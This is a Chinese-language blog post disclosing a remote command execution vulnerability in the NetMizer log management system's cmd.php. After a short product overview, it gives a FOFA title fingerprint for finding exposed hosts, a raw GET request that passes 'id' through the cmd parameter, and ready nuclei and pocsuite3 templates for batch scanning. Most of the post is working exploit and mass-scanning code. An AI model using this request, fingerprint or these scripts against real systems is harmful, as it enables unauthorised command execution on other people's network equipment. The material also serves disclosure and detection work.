NetMizer日志管理系统cmd存在命令执漏洞


一、NetMizer简介

NetMizer日志管理系统是由北京灵州网络技术有限公司开发的网络流量分析与运维工具,专为运营商、数据中心及企业网络设计,主要用于采集、存储和分析网络设备及应用的日志数据。该系统通过实时监控设备运行状态(如CPU、内存、接口流量等)和网络会话日志,提供精细化的流量管理功能,包括按应用协议、主机/IP地址、时间范围等维度统计流量排名,并支持图表化展示与故障告警。其核心模块涵盖异常流量检测(如DDoS攻击)、分区流量分析(如高校或AP分组统计)以及带宽使用优化,同时内置API接口便于与外部系统集成。系统还具备高可用性设计,例如通过光路保护器(NB-104F)实现故障自动旁路切换,并支持外置BYPASS功能保障网络稳定性。然而,该系统曾曝出目录遍历、SQL注入和远程代码执行等安全漏洞,需注意及时升级至官方修复版本以防范风险。

二、指纹

title="NetMizer 日志管理系统"

三、漏洞描述

NetMizer 日志管理系统 cmd.php中存在远程命令执行漏洞,攻击者通过传入 cmd参数即可命令执行。

四、漏洞复现

GET /data/manage/cmd.php?cmd=id HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

五、POC批量扫描

4.1 nuclei

id: netmizer-cmdphp-rce
info:
  name: Command Injection in cmd.php
  author: YourName
  severity: critical
requests:
  - method: GET
    path:
      - "{{BaseURL}}/data/manage/cmd.php?cmd=id"
    matchers:
      - type: word
        words:
          - "uid="

4.2 pocsuite3

from pocsuite3.api import POCBase, Output, register_poc, requests

class NetmizerCmdphpRCE(POCBase):
    vulID = ''
    version = '1.0'
    author = 'sixiaokai'
    vulDate = '2024-08-12'
    createDate = '2025-05-08'
    updateDate = '2025-05-08'
    references = []
    name = 'NetMizer日志管理系统cmd存在命令执漏洞'
    appPowerLink = 'https://www.crunchbase.com/organization/netmizer'
    appName = 'Netmizer'
    appVersion = '具体版本未公开'
    vulType = 'RCE'
    cyberspace = {'fofa': 'title="NetMizer 日志管理系统"'}
    samples = ['']
    desc = '''
    Netmizer系统cmd.php存在命令注入漏洞,攻击者可通过构造GET请求执行系统命令。
    检测特征: 访问/data/manage/cmd.php?cmd=id返回包含系统用户ID(uid=)的响应
    '''

    def _verify(self):
        result = {}
        target = f"{self.url}/data/manage/cmd.php?cmd=id"

        try:
            response = requests.get(target, verify=False, timeout=5)
            if response.status_code == 200 and "uid=" in response.text:
                result['VerifyInfo'] = {
                    'URL': target,
                    'Payload': 'id',
                    'Response': response.text[:50] + '...'  # 截取部分响应
                }
        except Exception as e:
            pass

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output


register_poc(NetmizerCmdphpRCE)

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录